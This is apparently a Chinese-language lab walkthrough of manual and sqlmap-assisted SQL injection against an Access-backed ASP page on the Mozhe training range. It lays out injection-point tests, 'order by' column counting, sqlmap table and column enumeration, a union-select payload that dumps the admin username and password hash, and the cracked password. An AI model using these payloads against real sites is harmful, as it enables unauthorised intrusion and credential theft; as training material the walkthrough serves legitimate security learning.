前言:在进行注入之前我们需要了解access数据库的特征,access数据库比较特殊:其结构与mysql ,mssql,MongoDB,postgresql,sqlit等数据不通。区别在与access数据库的接口是:表--列--数据 而其他数据库是:数据库--表--列--数据。并且access数据库没有记录所有表名和列名的表,也就意味着我们需要依靠字典进行猜解表名和列名。了解到这里那么我们就可以开始进行实施注入了。
实验背景:我这里使用的是mozhe靶场进行演示(墨者学院_专注于网络安全人才培养)首页> 在线靶场> SQL注入> SQL手工注入漏洞测试(Access数据库)
1.判断页面是否有注入点
打开靶场环境我们看到url是:http://219.153.49.228:44574/new_list.asp?id=1
http://219.153.49.228:44574/new_list.asp?id=1 and 1=1
http://219.153.49.228:44574/new_list.asp?id=1 and 1=2
进行测试,判断出来这个页面存在注入点。
2.判断数据库类型
这里我们可以借助sqlmap工具判断数据库类型
python sqlmap.py -u "http://219.153.49.228:44574/new_list.asp?id=1"
通过sqlmap工具判断出数据库版本类型是Access,可能是因为是access的原因没有判断出来具体的列,所以我们需要结合手工的方式进行判断
3.判断列名数量
http://219.153.49.228:44574/new_list.asp?id=1%20order%20by%204#
http://219.153.49.228:44574/new_list.asp?id=1%20order%20by%205#
所以注入点的列名数量为4
4.猜解表名
python sqlmap.py -u "http://219.153.49.228:44574/new_list.asp?id=1" –tables
我们可以从猜解的日志中查看到有两张表 admin和news这两张。
5.猜解列名
python sqlmap.py -u "http://219.153.49.228:44574/new_list.asp?id=1" -T"admin" –columns
猜解结果:
6.获取账号密码
继续使用手工注入的方式
在浏览器输入:
http://219.153.49.228:44574/new_list.asp?id=-1%20union%20select%201,username,passwd,4%20from%20admin
所以:
username: moke
passwd:7e6ec4fadf84938f
7.MD5解密
md5解密得到:27737201
所以得到:
用户名:moke
密码:27737201
8.总结
首先我们在得到注入点后,一定要先判断数据库类型,再进行注入,可以结合手工和工具的方式一起进行注入,并且我们要了解注入点数据库的特点以及注入数据的类型。
更多推荐
ACCESS数据库注入解析
发布评论